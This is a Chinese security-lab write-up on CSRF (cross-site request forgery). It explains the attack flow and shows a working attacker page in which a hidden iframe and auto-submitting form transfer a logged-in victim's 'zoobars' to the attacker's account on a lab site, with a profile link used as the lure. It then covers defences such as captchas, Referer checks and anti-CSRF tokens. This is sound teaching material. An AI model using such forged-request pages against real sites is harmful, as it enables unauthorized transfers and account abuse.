1.实验原理

CSRF(Cross-Site Request Forgery,跨站点伪造请求)是一种网络攻击方式,该攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点,从而在未授权的情况下执行在权限保护之下的操作,具有很大的危害性。具体来讲,可以这样理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。

简单地说,CSRF攻击就是攻击者盗用了受害者的身份,在存在CSRF漏洞的网站上伪装成受害者进行操作。

CSRF攻击原理

以下介绍涉及4个实体:

  • user: 一个普通的互联网用户
  • webA: 一个受user信任的网站,但存在CSRF漏洞
  • attacker: 利用CSRF漏洞的攻击者
  • webB: 攻击者的网站

CSRF攻击步骤如下:

  1. user 访问 webA
  2. webA 的 cookie 未失效,如 user 未登出 webA,或未清除 webA 的 cookie 等
  3. user 访问 webB
  4. webB 利用 webA 的 cookie 伪装成 userwebA 发送请求
  5. webA 接受 webB 的请求,并根据请求携带的 cookie 认为 webBuser,执行请求
  6. CSRF攻击结束

2.模拟CSRF攻击

首先看一下可以被攻击的页面:



在正常的业务流程中,user(在这是 user 名为 lab3_v)可以在这个页面选择将自己的 zoobars 转移给其他用户,可以理解为极度简化版的银行转账流程。执行这一操作,只需要 user 输入 zoobars 数量和转账用户名。

查看此页面的 html 源代码,我们仅仅需要表单代码,如下:

<form method=POST name=transferform action="/transfer.php">
<p>Send <input name=zoobars type=text value="" size=5> zoobars</p>
<p>to <input name=recipient type=text value=""></p>
<input type=submit name=submission value="Send">
</form>

现在一个攻击者attacker,自己构建了一个网站,并且在自己的页面中写下如下代码,假设此页面的URL是 http://csrf.com/csrf.html:

<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/>
<title>CSRF Attack</title>
</head> <body>
<iframe name="it" style="display:none" width="600px" height="450px"></iframe> <form method="POST"
name="transferform"
action="http://myzoo.islab.com/transfer.php"
target="it"
id="transferform"
style="display:none"> <input name="zoobars" type="text" value="1" size="5">
<input name="recipient" type="text" value="lab3_a">
<input type="hidden" name="submission" value="Show Detil">
</form> <h1>Hi,I'm lab3_a</h1> <script type="text/javascript">
form = document.getElementById("transferform");
form.submit();
</script> </body>
</html>

这段代码主要做的是:将 myzoo.islab.com/transfer.php 的表单页面复制过来,简单修改后将其隐藏,修改的地方主要是每次转移的 zoobars 数量以及转移用户,并在页面加载完毕后使用 js 模拟这个表单提交的事件。这样,就完成了 CSRF 攻击,接下来 attacker 要做的工作就是引导其他用户访问这个页面,只要有某个用户,其在 myzoo.islab.com 的 cookies 还有效,他的 zoobars 就会被转移到 attacker 。

比如,attacker 以用户名 lab3_a 登录 myzoo.islab.com,修改自己的主页的 profile 如下:

<a href=\'http://csrf.com/csrf.html\'>click me</a>

之后,如果其他用户,如 lab3_v 访问了 lab3_a 的主页,此时 lab3_v 有 10 个 zoobars, lab3_a 有 10 个 zoobars

之后, lab3_v 点击了 lab3_a 主页上的链接,则 lab3_v 会被引导至攻击页面,并被窃取了 zoobars。

此时 lab3_v 有 9 个 zoobars, lab3_a 有 11 个 zoobars

3.CSRF防御

(1) 验证码

使用验证码,强制用户必须与应用进行交互,才能完成最终请求。在通常情况下,验证码能很好遏制 CSRF 攻击。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。此外,使用图像识别等方式也可以跳过验证码交互机制。

(2) Referer Check

Referer Check在Web最常见的应用就是"防止图片盗链"。同理,Referer Check也可以被用于检查请求是否来自合法的"源"(Referer值是否是指定页面,或者网站的域),如果都不是,那么就极可能是CSRF攻击。

但是因为服务器并不是什么时候都能取到Referer,所以也无法作为CSRF防御的主要手段。但是用Referer Check来监控CSRF攻击的发生,倒是一种可行的方法。

(3) CSRF Token

现在业界对CSRF的防御,一致的做法是使用一个Token(Anti CSRF Token)。

例子:

  1. 用户访问某个表单页面。
  2. 服务端生成一个Token,放在用户的Session中,或者浏览器的Cookie中。
  3. 在页面表单附带上Token参数。
  4. 用户提交请求后, 服务端验证表单中的Token是否与用户Session(或Cookies)中的Token一致,一致为合法请求,不是则非法请求。

    这个Token的值必须是随机的,不可预测的。由于Token的存在,攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性,尽量把敏感操作由GET改为POST,以form或AJAX形式提交,避免Token泄露。

信安实践——CSRF攻击与防御的更多相关文章

  1. CSRF——攻击与防御

    CSRF——攻击与防御 author: lake2 0x01 什么是CSRF攻击 CSRF是Cross Site Request Forgery的缩写(也缩写为XSRF),直译过来就是跨站请求伪造的意 ...

  2. csrf 攻击和防御

    CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:       攻击者盗用了你的身份,以你的名义发送恶 ...

  3. CSRF攻击与防御(写得非常好)

    转自:http://blog.csdn.net/stpeace/article/details/53512283 CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forge ...

  4. Web安全之CSRF攻击的防御措施

    Web安全之CSRF攻击的防御措施   CSRF是什么? Cross Site Request Forgery,中文是:跨站点请求伪造. CSRF攻击者在用户已经登录目标网站之后,诱使用户访问一个攻击 ...

  5. 转!!CSRF攻击与防御(写得非常好)

    CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:       攻击者盗用了你的身份,以你的名义发送恶 ...

  6. csrf 攻击及防御

    1.什么是CSRF攻击: CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:C ...

  7. CSRF攻击与防御(转)

    CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:        攻击者盗用了你的身份,以你的名义发送 ...

  8. CSRF攻击与防御

    CSRF是什么 CSRF在百度百科中是这么说的:“CSRF(Cross-site request forgery跨站请求伪造,也被称为“one click attack”或者session ridin ...

  9. 转-CSRF——攻击与防御

    0x01 什么是CSRF攻击 CSRF是Cross Site Request Forgery的缩写(也缩写为XSRF),直译过来就是跨站请求伪造的意思,也就是在用户会话下对某个CGI做一些GET/PO ...

随机推荐

  1. 【commons】IO工具类——commons-io之IOUtils

    本文转载自xingoo: https://www.cnblogs.com/xing901022/p/5978989.html 一.常用静态变量 public static final char DIR ...

  2. Oracle 循环插入测试数据(网上收集整理)

    一 Oracle 循环插入测试数据 declare          maxrecords constant int:=1000;          i int :=1; begin for i in ...

  3. 仙人掌&圆方树

    仙人掌&圆方树 Tags:图论 [x] [luogu4320]道路相遇 https://www.luogu.org/problemnew/show/P4320 [ ] [SDOI2018]战略 ...

  4. 苏州Uber优步司机奖励政策(4月24日)

    滴快车单单2.5倍,注册地址:http://www.udache.com/ 如何注册Uber司机(全国版最新最详细注册流程)/月入2万/不用抢单:http://www.cnblogs.com/mfry ...

  5. QtCore Module's Classes

    Qt Core C++ Classes Provides core non-GUI functionality. More... Reference These are links to the AP ...

  6. day1 UnicodeEncodeError: 'gbk' codec can't encode character '\xa0' in position 2490: illegal multibyte sequence 错误提示

    get方式得到网页的信息 #coding=utf-8 #pip install requests #直接get到网页的信息 import requests from bs4 import Beauti ...

  7. UWP MySQL 最新版 6.10.5是坏的

    #实锤#证实了,MySQL 最新版 6.10.5,在UWP平台并不能连接,是坏的 Oracle竟然没有测试吗?直接上线??? 我已经把把BUG设置为最高严重等级,提交给了官方. I'm using u ...

  8. 手动搭建openstack的痛苦经历

    openstack真的是一个十分痛苦的东西,好在有自动部署工具,虽然有自动部署工具可以方便我们部署使用,但是学习的话,第一次最好手动部署,因为手动部署更能我们了解openstack的工作流程和各组建之 ...

  9. linux下的静态库与动态库

    目录 静态库 定义: 生成及使用方法: 静态库的优缺点 动态库 定义: 生成及使用方法: 动态库优缺点: 静态库 先说说我们为什么需要库? 当有些代码我们大量会在程序中使用比如(scanf,print ...

  10. [环境配置]Ubuntu 16.04+CUDA 9.0+OpenCV 3.2.0下编译基于Caffe的MobileNet-SSD踩过的一些坑

    SSD是Caffe的一个分支,源码在github上:https://github.com/weiliu89/caffe/tree/ssd $ git clone https://github.com/ ...